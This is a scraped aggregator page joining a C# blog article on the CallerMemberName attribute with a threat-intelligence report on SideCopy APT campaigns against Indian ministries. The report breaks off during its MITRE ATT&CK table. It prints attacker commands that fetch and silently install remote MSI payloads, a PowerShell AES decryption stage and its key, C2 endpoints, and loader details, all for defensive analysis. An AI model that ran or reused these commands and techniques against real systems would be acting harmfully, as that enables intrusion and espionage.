برچسب: and

  • An In-Depth Look at CallerMemberName (and some Compile-Time trivia) | Code4IT

    An In-Depth Look at CallerMemberName (and some Compile-Time trivia) | Code4IT


    Let’s dive deep into the CallerMemberName attribute and explore its usage from multiple angles. We’ll see various methods of invoking it, shedding light on how it is defined at compile time.

    Table of Contents

    Just a second! 🫷
    If you are here, it means that you are a software developer.
    So, you know that storage, networking, and domain management have a cost .

    If you want to support this blog, please ensure that you have disabled the adblocker for this site.
    I configured Google AdSense to show as few ADS as possible – I don’t want to bother you with lots of ads, but I still need to add some to pay for the resources for my site.

    Thank you for your understanding.
    Davide

    Method names change. And, if you are using method names in some places specifying them manually, you’ll spend a lot of time updating them.

    Luckily for us, in C#, we can use an attribute named CallerMemberName.

    This attribute can be applied to a parameter in the method signature so that its runtime value is the caller method’s name.

    public void SayMyName([CallerMemberName] string? methodName = null) =>
     Console.WriteLine($"The method name is {methodName ?? "NULL"}!");
    

    It’s important to note that the parameter must be a nullable string: this way if the caller sets its value, the actual value is set. Otherwise, the name of the caller method is used. Well, if the caller method has a name! 👀

    Getting the caller method’s name via direct execution

    The easiest example is the direct call:

    private void DirectCall()
    {
      Console.WriteLine("Direct call:");
      SayMyName();
    }
    

    Here, the method prints:

    Direct call:
    The method name is DirectCall!
    

    In fact, we are not specifying the value of the methodName parameter in the SayMyName method, so it defaults to the caller’s name: DirectCall.

    CallerMemberName when using explicit parameter name

    As we already said, we can specify the value:

    private void DirectCallWithOverriddenName()
    {
      Console.WriteLine("Direct call with overridden name:");
      SayMyName("Walter White");
    }
    

    Prints:

    Direct call with overridden name:
    The method name is Walter White!
    

    It’s important to note that the compiler sets the methodName parameter only if it is not otherwise specified.

    This means that if you call SayMyName(null), the value will be null – because you explicitly declared the value.

    private void DirectCallWithNullName()
    {
      Console.WriteLine("Direct call with null name:");
      SayMyName(null);
    }
    

    The printed text is then:

    Direct call with null name:
    The method name is NULL!
    

    CallerMemberName when the method is called via an Action

    Let’s see what happens when calling it via an Action:

    public void CallViaAction()
    {
      Console.WriteLine("Calling via Action:");
    
      Action<int> action = (_) => SayMyName();
      var singleElement = new List<int> { 1 };
      singleElement.ForEach(s => action(s));
    }
    

    This method prints this text:

    Calling via Action:
    The method name is CallViaAction!
    

    Now, things get interesting: the CallerMemberName attribute recognizes the method’s name that contains the overall expression, not just the actual caller.

    We can see that, syntactically, the caller is the ForEach method (which is a method of the List<T> class). But, in the final result, the ForEach method is ignored, as the method is actually called by the CallViaAction method.

    This can be verified by accessing the compiler-generated code, for example by using Sharplab.

    Compiled code of Action with pre-set method name

    At compile time, since no value is passed to the SayMyName method, it gets autopopulated with the parent method name. Then, the ForEach method calls SayMyName, but the methodName is already defined at compiled time.

    Lambda executions and the CallerMemberName attribute

    The same behaviour occurs when using lambdas:

    private void CallViaLambda()
    {
      Console.WriteLine("Calling via lambda expression:");
    
      void lambdaCall() => SayMyName();
      lambdaCall();
    }
    

    The final result prints out the name of the caller method.

    Calling via lambda expression:
    The method name is CallViaLambda!
    

    Again, the magic happens at compile time:

    Compiled code for a lambda expression

    The lambda is compiled into this form:

    [CompilerGenerated]
    private void <CallViaLambda>g__lambdaCall|0_0()
    {
      SayMyName("CallViaLambda");
    }
    

    Making the parent method name available.

    CallerMemberName when invoked from a Dynamic type

    What if we try to execute the SayMyName method by accessing the root class (in this case, CallerMemberNameTests) as a dynamic type?

    private void CallViaDynamicInvocation()
    {
      Console.WriteLine("Calling via dynamic invocation:");
    
      dynamic dynamicInstance = new CallerMemberNameTests(null);
      dynamicInstance.SayMyName();
    }
    

    Oddly enough, the attribute does not work as could have expected, but it prints NULL:

    Calling via dynamic invocation:
    The method name is NULL!
    

    This happens because, at compile time, there is no reference to the caller method.

    private void CallViaDynamicInvocation()
    {
      Console.WriteLine("Calling via dynamic invocation:");
      
      object arg = new C();
      if (<>o__0.<>p__0 == null)
      {
        Type typeFromHandle = typeof(C);
        CSharpArgumentInfo[] array = new CSharpArgumentInfo[1];
        array[0] = CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null);
        <>o__0.<>p__0 = CallSite<Action<CallSite, object>>.Create(Microsoft.CSharp.RuntimeBinder.Binder.InvokeMember(CSharpBinderFlags.ResultDiscarded, "SayMyName", null, typeFromHandle, array));
      }
      <>o__0.<>p__0.Target(<>o__0.<>p__0, arg);
    }
    

    I have to admit that I don’t understand why this happens: if you want, drop a comment to explain to us what is going on, I’d love to learn more about it! 📩

    Event handlers can get the method name

    Then, we have custom events.

    We define events in one place, but they are executed indirectly.

    private void CallViaEventHandler()
    {
      Console.WriteLine("Calling via events:");
      var eventSource = new MyEventClass();
      eventSource.MyEvent += (sender, e) => SayMyName();
      eventSource.TriggerEvent();
    }
    
    public class MyEventClass
    {
      public event EventHandler MyEvent;
      public void TriggerEvent() =>
      // Raises an event which in our case calls SayMyName via subscribing lambda method
      MyEvent?.Invoke(this, EventArgs.Empty);
    }
    

    So, what will the result be? “Who” is the caller of this method?

    Calling via events:
    The method name is CallViaEventHandler!
    

    Again, it all boils down to how the method is generated at compile time: even if the actual execution is performed “asynchronously” – I know, it’s not the most obvious word for this case – at compile time the method is declared by the CallViaEventHandler method.

    CallerMemberName from the Class constructor

    Lastly, what happens when we call it from the constructor?

    public CallerMemberNameTests(IOutput output) : base(output)
    {
     Console.WriteLine("Calling from the constructor");
     SayMyName();
    }
    

    We can consider constructors to be a special kind of method, but what’s in their names? What can we find?

    Calling from the constructor
    The method name is .ctor!
    

    Yes, the actual method name is .ctor! Regardless of the class name, the constructor is considered to be a method with that specific internal name.

    Wrapping up

    In this article, we started from a “simple” topic but learned a few things about how code is compiled and the differences between runtime and compile time.

    As always, things are not as easy as they appear!

    This article first appeared on Code4IT 🐧

    I hope you enjoyed this article! Let’s keep in touch on LinkedIn, Twitter or BlueSky! 🤜🤛

    Happy coding!

    🐧





    Source link

  • HTML Editor Online with Instant Preview and Zero Setup



    HTML Editor Online with Instant Preview and Zero Setup



    Source link

  • Write and Test Code Instantly With an Online Python Editor



    Write and Test Code Instantly With an Online Python Editor



    Source link

  • New TTPs and Clusters of an APT driven by Multi-Platform Attacks

    New TTPs and Clusters of an APT driven by Multi-Platform Attacks


    Seqrite Labs APT team has uncovered new tactics of Pakistan-linked SideCopy APT deployed since the last week of December 2024. The group has expanded its scope of targeting beyond Indian government, defence, maritime sectors, and university students to now include entities under railway, oil & gas, and external affairs ministries. One notable shift in recent campaigns is the transition from using HTML Application (HTA) files to adopting Microsoft Installer (MSI) packages as a primary staging mechanism.

    Threat actors are continuously evolving their tactics to evade detection, and this shift is driven by their persistent use of DLL side-loading and multi-platform intrusions. This evolution also incorporates techniques such as reflective loading and repurposing open-source tools such as Xeno RAT and Spark RAT, following its trend with Async RAT to extend its capabilities. Additionally, a new payload dubbed CurlBack RAT has been identified that registers the victim with the C2 server.

    Key Findings

    • Usernames associated with attacker email IDs are impersonating a government personnel member with cyber security background, utilizing compromised IDs.
    • A fake domain mimicking an e-governance service, with an open directory, is used to host payloads and credential phishing login pages.
    • Thirteen sub-domains and URLs host login pages for various RTS Services for multiple City Municipal Corporations (CMCs), all in the state of Maharashtra.
    • The official domain of National Hydrology Project (NHP), under the Ministry of Water Resources, has been compromised to deliver malicious payloads.
    • New tactics such as reflective loading and AES decryption of resource section via PowerShell to deploy a custom version of C#-based open-source tool XenoRAT.
    • A modified variant of Golang-based open-source tool SparkRAT, is targeting Linux platforms, has been deployed via the same stager previously used for Poseidon and Ares RAT payloads.
    • A new RAT dubbed CurlBack utilizing DLL side-loading technique is used. It registers the victim with C2 server via UUID and supports file transfer using curl.
    • Honey-trap themed campaigns were observed in January 2025 and June 2024, coinciding with the arrest of a government employee accused of leaking sensitive data to a Pakistani handler.
    • A previously compromised education portal seen in Aug 2024, became active again in February 2025 with new URLs targeting university students. These employ three different themes: “Climate Change”, “Research Work”, and “Professional” (Complete analysis can be viewed in the recording here, explaining six different clusters of SideCopy APT).
    • The parent group of SideCopy, APT36, has targeted Afghanistan after a long with a theme related to Office of the Prisoners Administration (OPA) under Islamic Emirate of Afghanistan. A recent campaign targeting Linux systems with the theme “Developing Leadership for Future Wars” involves AES/RC4 encrypted stagers to drop MeshAgent RMM tool.

    Targeted sectors under the Indian Ministry

    • Railways
    • Oil & Gas
    • External Affairs
    • Defence

    Phishing Emails

    The campaign targeting the Defence sector beings with a phishing email dated 13 January 2025, with the subject “Update schedule for NDC 65 as discussed”. The email contains a link to download a file named “NDC65-Updated-Schedule.pdf” to lure the target.

    Fig. 1 – NDC Phishing Email (1)

    A second phishing email sent on 15 January 2025 with the subject “Policy update for this course.txt”, also contains a phishing link. This email originates from an official-looking email ID which is likely compromised. National Defence College (NDC) is a defence service training institute for strategic and practice of National Security located in Delhi, operates under the Ministry of Defence, India.

    Fig. 2 – NDC Phishing Email (2)

    The attacker’s email address “gsosystems-ndc@outlook[.]com”, was created on 10 January 2025 in UAE and was last seen active on 28 February 2025. OSINT reveals similar looking email ID “gsosystems.ndc-mod@nic[.]in” belonging to National Informatics Centre (NIC), a department under the Ministry of Electronics and Information Technology (MeitY), India. The username linked to the attacker’s email impersonates a government personnel member with cyber security background.

    Fig. 3 – Attacker Email

    Decoy Documents

    The decoy is related to the National Defence College (NDC) in India and contains the Annual Training Calendar (Study & Activities) for the year 2025 for the 65th Course (NDC-65). Located in New Delhi, it is the defence service training institute and highest seat of strategic learning for officers of the Defence Service (Indian Armed Forces) and the Civil Services, all operating under the Ministry of Defence, India.

    Fig. 4 – NDC Calendar Decoy [Defence]

    Another phishing archive file observed with name “2024-National-Holidays-RH-PER_N-1.zip”, comes in two different variants targeting either Windows or Linux systems. Once the payload is triggered, it leads to a decoy document that contains a list of holidays for the Open Line staff for the year 2024 as the name suggests. This is an official notice from Southern Railway dated 19 December 2023, specifically for the Chennai Division. Southern Railway (SR) is one of the eighteen zones of Indian Railways, a state-owned undertaking of the Ministry of Railways, India.

    Fig. 5 – Holiday List Decoy [Railways]

    The third infection chain includes a document titled “Cybersecurity Guidelines” for the year 2024, which appears to be issued by Hindustan Petroleum Corporation Limited (HPCL). Headquarted in Mumbai, HPCL is a public sector undertaking in petroleum and natural gas industry and is a subsidiary of the Oil and Natural Gas Corporation (ONGC), a state-owned undertaking of the Ministry of Petroleum and Natural Gas, India.

    Fig. 6 – Cybersecurity Guidelines Decoy [Oil & Gas]

    Another document linked to the same infection is the “Pharmaceutical Product Catalogue” for 2025, issued by MAPRA. It is specifically intended for employees of the Ministry of External Affairs (MEA), in India. Mapra Laboratories Pvt. Ltd. is a pharmaceutical company with headquarters in Mumbai.

    Fig. 7 – Catalogue Decoy [External Affairs]

    OpenDir and CredPhish

    A fake domain impersonating the e-Governance portal services has been utilized to carry out the campaign targeting railway entities. This domain was created on 16 June 2023 and features an open directory hosting multiple files, identified during the investigation.

    Fig. 8 – Open directory

    A total of 13 sub-domains have been identified, which function as login portals for various systems such as:

    • Webmail
    • Safety Tank Management System
    • Payroll System
    • Set Authority

    These are likely used for credential phishing, actively impersonating multiple legitimate government portals since last year. These login pages are typically associated with RTS Services (Right to Public Services Act) and cater to various City Municipal Corporations (CMC). All these fake portals belong to cities located within the state of Maharashtra:

    • Chandrapur
    • Gadchiroli
    • Akola
    • Satara
    • Vasai Virar
    • Ballarpur
    • Mira Bhaindar
    Fig. 9 – Login portals hosted on fake domain

    The following table lists the identified sub-domains and the dates they were first observed:

    Sub-domains First Seen
    gadchiroli.egovservice[.]in 2024-12-16
    pen.egovservice[.]in 2024-11-27
    cpcontacts.egovservice[.]in

    cpanel.egovservice[.]in

    webdisk.egovservice[.]in

    cpcalendars.egovservice[.]in

    webmail.egovservice[.]in

    2024-01-03
    dss.egovservice[.]in

    cmc.egovservice[.]in

    2023-11-03
    mail.egovservice[.]in 2023-10-13
    pakola.egovservice[.]in

    pakora.egovservice[.]in

    2023-07-23
    egovservice[.]in 2023-06-16

    All these domains have the following DNS history primarily registered under AS 140641 (YOTTA NETWORK SERVICES PRIVATE LIMITED). This indicates a possible coordinated infrastructure set up to impersonate legitimate services and collect credentials from unsuspecting users.

    Fig. 10 – DNS history

    Further investigation into the open directory revealed additional URLs associated with the fake domain. These URLs likely serve similar phishing purposes and host further decoy content.

    hxxps://egovservice.in/vvcmcrts/
    hxxps://egovservice.in/vvcmc_safety_tank/
    hxxps://egovservice.in/testformonline/test_form
    hxxps://egovservice.in/payroll_vvcmc/
    hxxps://egovservice.in/pakora/egovservice.in/
    hxxps://egovservice.in/dssrts/
    hxxps://egovservice.in/cmc/
    hxxps://egovservice.in/vvcmcrtsballarpur72/
    hxxps://egovservice.in/dss/
    hxxps://egovservice.in/130521/set_authority/
    hxxps://egovservice.in/130521/13/

    Cluster-A

    The first cluster of SideCopy’s operations shows a sophisticated approach by simultaneously targeting both Windows and Linux environments. New remote access trojans (RATs) have been added to their arsenal, enhancing their capability to compromise diverse systems effectively.

    Fig. 11 – Cluster A

    Windows

    A spear-phishing email link downloads an archive file, that contains double extension (.pdf.lnk) shortcut. They are hosted on domains that look to be legitimate:

    hxxps://egovservice.in/dssrts/helpers/fonts/2024-National-Holidays-RH-PER_N-1/
    hxxps://nhp.mowr.gov.in/NHPMIS/TrainingMaterial/aspx/Security-Guidelines/

    The shortcut triggers cmd.exe with arguments that utilize escape characters (^) to evade detection and reduce readability. A new machine ID “dv-kevin” is seen with these files as we see “desktop-” prefix in its place usually.

    Fig. 12 – Shortcuts with double extension

    Utility msiexec.exe is used for installing the MSI packages that are hosted remotely. It uses quiet mode flag with the installation switch.

    C:\Windows\System32\cmd.exe /c m^s^i^e^x^e^c.exe /q /i h^t^t^p^s^:^/^/^e^g^o^v^s^e^r^v^i^c^e^.^i^n^/^d^s^s^r^t^s^/^h^e^l^p^e^r^s^/^f^o^n^t^s^/^2^0^2^4^-^N^a^t^i^o^nal-^H^o^l^i^d^a^y^s^-^R^H^-^P^E^R^_^N-^1^/^i^n^s^t^/
    C:\Windows\System32\cmd.exe /c m^s^i^e^x^e^c.exe /q /i h^t^t^p^s^:^/^/^n^h^p^.^m^o^w^r^.^g^o^v^.^i^n^/^N^H^P^M^I^S^/^T^r^a^i^n^i^n^g^M^a^t^e^r^i^a^l^/^a^s^p^x^/^S^e^c^u^r^i^t^y^-^G^u^i^d^e^l^i^n^e^s^/^w^o^n^t^/

    The first domain mimics a fake e-governance site seen with the open directory, while the second one is a compromised domain that belongs to the official National Hydrology Project, an entity under the Ministry of Water Resources. The MSI contains a .NET executable ConsoleApp1.exe which drops multiple PE files that are base64 encoded. Firstly, the decoy document is dropped in Public directory and opened, whereas remaining PE files are dropped in ‘C:\ProgramData\LavaSoft\’. Among them are two DLLs:

    • Legitimate DLL: Sampeose.dll
    • Malicious DLL: DUI70.dll, identified as CurlBack RAT.
    Fig. 13 – Dropper within MSI package

    CurlBack RAT

    A signed Windows binary girbesre.exe with original name CameraSettingsUIHost.exe is dropped beside the DLLs. Upon execution, the EXE side-loads the malicious DLL. Persistence is achieved by dropping a HTA script (svnides.hta) that creates a Run registry key for the EXE. Two different malicious DLL samples were found, which have the compilation timestamps as 2024-12-24 and 2024-12-30.

    Fig. 14 – Checking response ‘/antivmcommand’

    CurlBack RAT initially checks the response of a specific URL with the command ‘/antivmcommand’. If the response is “on”, it proceeds, otherwise it terminates itself thereby maintaining a check. It gathers system information, and any connected USB devices using the registry key:

    • “SYSTEM\\ControlSet001\\Enum\\USBSTOR”
    Fig. 15 – Retrieving system info and USB devices

    Displays connected and running processes are enumerated to check for explorer, msedge, chrome, notepad, taskmgr, services, defender, and settings.

    Fig. 16 – Enumerate displays and processes

    Next, it generates a UUID for client registration with the C2 server. The ID generated is dumped at “C:\Users\<username>\.client_id.txt” along with the username.

    Fig. 17 – Client ID generated for C2 registration

    Before registering with the ID, persistence is set up via scheduled task with the name “OneDrive” for the legitimate binary, which can be observed at the location: “C:\Windows\System32\Tasks\OneDrive”.

    Fig. 18 – Scheduled Task

    Reversed strings appended to the C2 domain and their purpose:

    String Functionality
    /retsiger/ Register client with the C2
    /sdnammoc/ Fetch commands from C2
    /taebtraeh/ Check connection with C2 regularly
    /stluser/ Upload results to the C2

    Once registered, the connection is kept alive to retrieve any commands that are returned in the response.

    Fig. 19 – Commands response after registration

    If the response contains any value, it retrieves the current timestamp and executes one of the following C2 commands:

    Command Functionality
    info Gather system information
    download Download files from the host
    persistence Modify persistence settings
    run Execute arbitrary commands
    extract Extract data from the system
    permission Check and elevate privileges
    users Enumerate user accounts
    cmd Execute command-line operations
    Fig. 20 – Checking process privilege with ‘permission’ command

    Other basic functions include fetching user and host details, extracting archive files, and creating tasks. Strings and code show that CURL within the malicious DLL is present to enumerate and transfer various file formats:

    • Image files: GIF, JPEG, JPG, SVG
    • Text files: TXT, HTML, PDF, XML
    Fig. 21 – CURL protocols supported

    Linux

    In addition to its Windows-focused attacks, the first cluster of SideCopy also targets Linux environments. The malicious archive file shares the same name as its Windows counterpart, but with a modification date of 2024-12-20. This archive contains a Go-based ELF binary, reflecting a consistent cross-platform strategy. Upon analysis, the function flow of the stager has code similarity to the stagers associated with Poseidon and Ares RAT. These are linked to Transparent Tribe and SideCopy APTs respectively.

    Fig. 22 – Golang Stager for Linux

    Stager functionality:

    1. Uses wget command to download a decoy from egovservice domain into the target directory /.local/share and open it (National-Holidays-RH-PER_N-1.pdf).
    2. Download the final payload elf as /.local/share/xdg-open and execute.
    3. Create a crontab ‘/dev/shm/mycron’ to maintain persistence through system reboot for the payload, under the current username.

    The final payload delivered by the stager is Spark RAT, an open-source remote access trojan with cross-platform support for Windows, macOS, and Linux systems. Written in Golang and released on GitHub in 2022, the RAT is very popular with over 500 forks. Spark RAT uses WebSocket protocol and HTTP requests to communicate with the C2 server.

    Fig. 23 – Custom Spark RAT ‘thunder’ connecting to C2

    Features of Spark RAT include process management and termination, network traffic monitoring, file exploration and transfer, file editing and deletion, code highlighting, desktop monitoring, screenshot capture, OS information retrieval, and remote terminal access. Additionally, it supports power management functions like shutdown, reboot, log-off, sleep, hibernate and lock screen functions.

    Cluster-B

    The second cluster of SideCopy’s activities targets Windows systems, although we suspect that it is targeting Linux systems based on their infrastructure observed since 2023.

    Fig. 24 – Cluster B

    The infection starts with a spear-phishing email link, that downloads an archive file named ‘NDC65-Updated-Schedule.zip’. This contains a shortcut file in double extension format which triggers a remote HTA file hosted on another compromised domain:

    • “hxxps://modspaceinterior.com/wp-content/upgrade/01/ & mshta.exe”
    Fig. 25 – Archive with malicious LNK

    The machine ID associated with the LNK “desktop-ey8nc5b” has been observed in previous campaigns of SideCopy, although the modification date ‘2023:05:26’ suggests it may be an older one being reused. In parallel to the MSI stagers, the group continues to utilize HTA-based stagers which remain almost fully undetected (FUD).

    Fig. 26 – Almost FUD stager of HTA

    The HTA file contains a Base64 encoded .NET payload BroaderAspect.dll, which is decoded and loaded directly into the memory of MSHTA. This binary opens the dropped NDC decoy document in ProgramData directory and an addtional .NET stager as a PDF in the Public directory. Persistence is set via Run registry key with the name “Edgre” and executes as:

    • cmd /C start C:\Users\Public\USOShared-1de48789-1285\zuidrt.pdf

    Encrypted Payload

    The dropped .NET binary named ‘Myapp.pdb’ has two resource files:

    • “Myapp.Resources.Document.pdf”
    • “Myapp.Properties.Resources.resources”

    The first one is decoded using Caesar cipher with shift of 9 characters in backward direction. It is dropped as ‘Public\Downloads\Document.pdf’ (122.98 KB), which is a 2004 GIAC Paper on “Advanced communication techniques of remote access trojan horses on windows operating systems”.

    Fig. 27– Document with appended payload

    Though it is not a decoy, an encrypted payload is appended at the end. The malware searches for the “%%EOF” marker to separate PDF data from EXE data. The PDF data is extracted from the start to the marker, while the EXE Data is extracted after skipping 6 bytes beyond the marker.

    Fig. 28 – Extracting EXE after EOF marker

    After some delay, the EXE data is dropped as “Public\Downloads\suport.exe” (49.53 KB) which is sent as an argument along with a key to trigger a PowerShell command.

    Fig. 29 – Extracting resource and triggering PowerShell

    PowerShell Stage

    The execution of PowerShell command with basic arguments “-NoProfile -ExecutionPolicy Bypass -Command” to ignore policies and profile is seen. Two parameters are sent:

    • -EPath 'C:\\Users\\Public\\Downloads\\suport.exe'
    • -EKey 'wq6AHvkMcSKA++1CPE3yVwg2CpdQhEzGbdarOwOrXe0='

    After some delay, the encryption key is decoded from Base64, and the first 16 bytes are treated as the IV for AES encryption (CBC mode with PKCS7 padding). This is done to load the decrypted binary as a .NET assembly directly into memory, invoking its entry point.

    Fig. 30 – PowerShell decryption

    Custom Xeno RAT

    Dumping the final .NET payload named ‘DevApp.exe’ leads us to familiar functions seen in Xeno RAT. It is an open source remote access trojan that was first seen at the end of 2023. Key features include HVNC, live microphone access, socks5 reverse proxy, UAC bypass, keylogger, and more. The custom variant used by SideCopy has added basic string manipulation methods with C2 and port as 79.141.161[.]58:1256.

    Fig. 31 – Custom Xeno RAT

    Last year, a custom Xeno RAT variant named MoonPeak was used by a North Korean-linked APT tracked as UAT-5394. Similarly, custom Spark RAT variants have been adopted by Chinese-speaking actors such as DragonSpark and TAG-100.

    Infrastructure and Attribution

    Domains used for malware staging by the threat group. Most of them have registrar as GoDaddy.com, LLC.

    Staging Domain First Seen Created ASN
    modspaceinterior[.]com Jan 2025 Sept 2024 AS 46606 – GoDaddy
    drjagrutichavan[.]com Jan 2025 Oct 2021 AS 394695 – GoDaddy
    nhp.mowr[.]gov[.]in Dec 2024 Feb 2005 AS 4758 – National Informatics Centre
    egovservice[.]in Dec 2024 June 2023 AS 140641 – GoDaddy
    pmshriggssssiwan[.]in Nov 2024 Mar 2024 AS 47583 – Hostinger
    educationportals[.]in Aug 2024 Aug 2024 AS 22612 – NameCheap

    C2 domains have been created just before the campaign in the last week of December 2024. With Canadian registrar “Internet Domain Service BS Corp.”, they resolve to IPs with Cloudflare ASN 13335 located in California.

    C2 Domain Created IP ASN
    updates.widgetservicecenter[.]com 2024-Dec-25 104.21.15[.]163

    172.67.163[.]31

     

    ASN 13335 – Clouflare
    updates.biossysinternal[.]com 2024-Dec-23 172.67.167[.]230

    104.21.13[.]17

    ASN 202015 – HZ Hosting Ltd.

    The C2 for Xeno RAT 79.141.161[.]58 has a unique common name (CN=PACKERP-63KUN8U) with HZ Hosting Limited of ASN 202015. The port used for communication is 1256 but an open RDP port 56777 is also observed.

    Fig. 32 – Diamond Model

    Both C2 domains are associated with Cloudflare ASN 13335, resolved to IP range 172.67.xx.xx. Similar C2 domains on this ASN have previously been leveraged by SideCopy in attacks targeting the maritime sector. Considering the past infection clusters, observed TTPs and hosted open directories, these campaigns with new TTPs are attributed to SideCopy with high confidence.

    Conclusion

    Pakistan-linked SideCopy APT group has significantly evolved its tactics since late December 2024, expanding its targets to include critical sectors such as railways, oil & gas, and external affairs ministries. The group has shifted from using HTA files to MSI packages as a primary staging mechanism and continues to employ advanced techniques like DLL side-loading, reflective loading, and AES decryption via PowerShell. Additionally, they are leveraging customized open-source tools like Xeno RAT and Spark RAT, along with deploying the newly identified CurlBack RAT. Compromised domains and fake sites are being utilized for credential phishing and payload hosting, highlighting the group’s ongoing efforts to enhance persistence and evade detection.

    SEQRITE Protection

    • LNK.SideCopy.49245.Gen
    • LNK.Trojan.49363.GC
    • SideCopy.Mal.49246.GC
    • HTA.SideCopy.49248.Gen
    • HTA.SideCopy.49247.Gen
    • HTA.Trojan.49362.GC
    • Trojan.Fmq

    IOCs

    Windows

    a5410b76d0cb36786e00d2968d3ab6e4 2024-National-Holidays-RH-PER_N-1.zip
    f404496abccfa93eed5dfda9d8a53dc6 2024-National-Holidays-RH-PER_N-1.pdf.lnk
    0e57890a3ba16b1ac0117a624f262e61 Security-Guidelines.zip
    57c2f8b4bbf4037439317a44c2263346 Security-Guidelines.pdf.lnk
    53eebedc3846b7cf5e29a90a5b96c803 wininstaller.msi
    97c3328427b72f05f120e9a98b6f9b09 installerr.msi
    0690116134586d41a23baed300fc6355 ConsoleApp1.exe
    ef40f484e095f0f6f207139cb870a16e ConsoleApp1.exe
    9d189e06d3c4cefdd226e645a0b8bdb9 DUI70.dll
    589a65e0f3fe6777d17d0ac36ab07f6f DUI70.dll
    0eb9e8bec7cc70d603d2d8b6efdd6bb5 update schedule for ndc 65 as discussed.txt
    8ceeeec0e33026114f028cbb006cb7fc policy update for this course.txt
    1d65fa0457a9917809660fff782689fe NDC65-Updated-Schedule.zip
    7637cbfa99110fe8e1074e7ead66710e NDC65-Updated-Schedule.pdf.lnk
    32a44a8f7b722b078b647e82cb9e85cf NDC65-Updated-Schedule.hta
    a2dc9654b99f656b4ab30cf5d97fe2e1 BroaderAspect.dll
    b45aa156aef2ad2c77b7c623a222f453 zuidrt.pdf
    83ce6ee6ad09a466eb96f347a8b0dc20 Document.pdf
    cf6681cf1f765edb6cae81eeed389f78 suport.exe
    c952aca2036d6646c0cffde9e6f22775 DevApp.exe (Custom Xeno RAT)

    Linux

    b5e71ff3932c5ef6319b7ca70f7ba8da 2024-National-Holidays-RH-PER_N-1.zip
    0a67bfda993152c93a212087677f9b60 2024-National-Holidays-RH-PER_N-1․pdf
    e165114280204c39e99cf0c650477bf8 clinsixfer.elf (Custom Spark RAT)

    C2

    79.141.161[.]58:1256 Xeno RAT
    updates.widgetservicecenter[.]com

    updates.biossysinternal[.]com

    CurlBack RAT

    URLs

    hxxps://egovservice.in/dssrts/helpers/fonts/2024-National-Holidays-RH-PER_N-1/
    hxxps://egovservice.in/dssrts/helpers/fonts/2024-National-Holidays-RH-PER_N-1/inst/
    hxxp://egovservice.in/dssrts/helpers/fonts/2024-National-Holidays-RH-PER_N-1/lns/clinsixfer.elf
    hxxp://egovservice.in/dssrts/helpers/fonts/2024-National-Holidays-RH-PER_N-1/lns/2024-National-Holidays-RH-PER_N-1.pdf
    hxxps://nhp.mowr.gov.in/NHPMIS/TrainingMaterial/aspx/Security-Guidelines/
    hxxps://nhp.mowr.gov.in/NHPMIS/TrainingMaterial/aspx/Security-Guidelines/wont/
    hxxps://updates.widgetservicecenter.com/antivmcommand
    hxxps://modspaceinterior.com/wp-content/upgrade/02/NDC65-Updated-Schedule.zip
    hxxps://modspaceinterior.com/wp-content/upgrade/01/
    hxxps://modspaceinterior.com/wp-content/upgrade/01/NDC65-Updated-Schedule.hta
    hxxps://egovservice.in/vvcmcrts/
    hxxps://egovservice.in/vvcmc_safety_tank/
    hxxps://egovservice.in/testformonline/test_form
    hxxps://egovservice.in/payroll_vvcmc/
    hxxps://egovservice.in/pakora/egovservice.in/
    hxxps://egovservice.in/dssrts/
    hxxps://egovservice.in/cmc/
    hxxps://egovservice.in/vvcmcrtsballarpur72/
    hxxps://egovservice.in/dss/
    hxxps://egovservice.in/130521/set_authority/
    hxxps://egovservice.in/130521/13/

    Staging domains

    modspaceinterior[.]com
    drjagrutichavan[.]com
    nhp.mowr[.]gov[.]in
    pmshriggssssiwan[.]in
    educationportals[.]in
    egovservice[.]in
    gadchiroli.egovservice[.]in

    pen.egovservice[.]in

    cpcontacts.egovservice[.]in

    cpanel.egovservice[.]in

    webdisk.egovservice[.]in

    cpcalendars.egovservice[.]in

    webmail.egovservice[.]in

    www.dss.egovservice[.]in

    www.cmc.egovservice[.]in

    cmc.egovservice[.]in

    dss.egovservice[.]in

    mail.egovservice[.]in

    www.egovservice[.]in

    www.pakola.egovservice[.]in

    pakola.egovservice[.]in

    www.pakora.egovservice[.]in

    pakora.egovservice[.]in

    Host and PDB

    C:\ProgramData\LavaSoft\Sampeose.dll
    C:\ProgramData\LavaSoft\DUI70.dll
    C:\ProgramData\LavaSoft\girbesre.exe
    C:\ProgramData\LavaSoft\svnides.hta
    C:\Users\Public\USOShared-1de48789-1285\zuidrt.pdf
    C:\Users\Public\Downloads\Document.pdf
    C:\Users\Public\Downloads\suport.exe
    E:\finalRnd\Myapp\obj\Debug\Myapp.pdb

    Decoys

    320bc4426f4f152d009b6379b5257c78 2024-National-Holidays-RH-PER_N-1.pdf
    9de50f9357187b623b06fc051e3cac4f Security-Guidelines.pdf
    c9c98cf1624ec4717916414922f196be NDC65-Updated-Schedule.pdf
    83ce6ee6ad09a466eb96f347a8b0dc20 Document.pdf

    MITRE ATT&CK

    TTP Name
    Reconnaissance  
    T1589.002 Gather Victim Identity Information: Email Addresses
    Resource Development  
    T1583.001

    T1584.001

    T1587.001

    T1588.001

    T1588.002

    T1608.001

    T1608.005

    T1585.002

    T1586.002

    Acquire Infrastructure: Domains

    Compromise Infrastructure: Domains

    Develop Capabilities: Malware

    Obtain Capabilities: Malware

    Obtain Capabilities: Tool

    Stage Capabilities: Upload Malware

    Stage Capabilities: Link Target

    Establish Accounts: Email Accounts

    Compromise Accounts: Email Accounts

    Initial Access
    T1566.002 Phishing: Spear phishing Link
    Execution
    T1106

    T1129

    T1059

    T1047

    T1204.001

    T1204.002

    Native API

    Shared Modules

    Command and Scripting Interpreter

    Windows Management Instrumentation

    User Execution: Malicious Link

    User Execution: Malicious File

    Persistence
    T1053.003

    T1547.001

    Scheduled Task/Job: Cron

    Registry Run Keys / Startup Folder

    Privilege Escalation
    T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control
    Defense Evasion
    T1036.005

    T1036.007

    T1140

    T1218.005

    T1574.002

    T1027

    T1620

    Masquerading: Match Legitimate Name or Location

    Masquerading: Double File Extension

    Deobfuscate/Decode Files or Information

    System Binary Proxy Execution: Mshta

    Hijack Execution Flow: DLL Side-Loading

    Obfuscated Files or Information

    Reflective Code Loading

    Discovery
    T1012

    T1016

    T1033

    T1057

    T1082

    T1083

    T1518.001

    Query Registry

    System Network Configuration Discovery

    System Owner/User Discovery

    Process Discovery

    System Information Discovery

    File and Directory Discovery

    Software Discovery: Security Software Discovery

    Collection
    T1005

    T1056.001

    T1123

    T1113

    T1560.001

    Data from Local System

    Input Capture: Keylogging

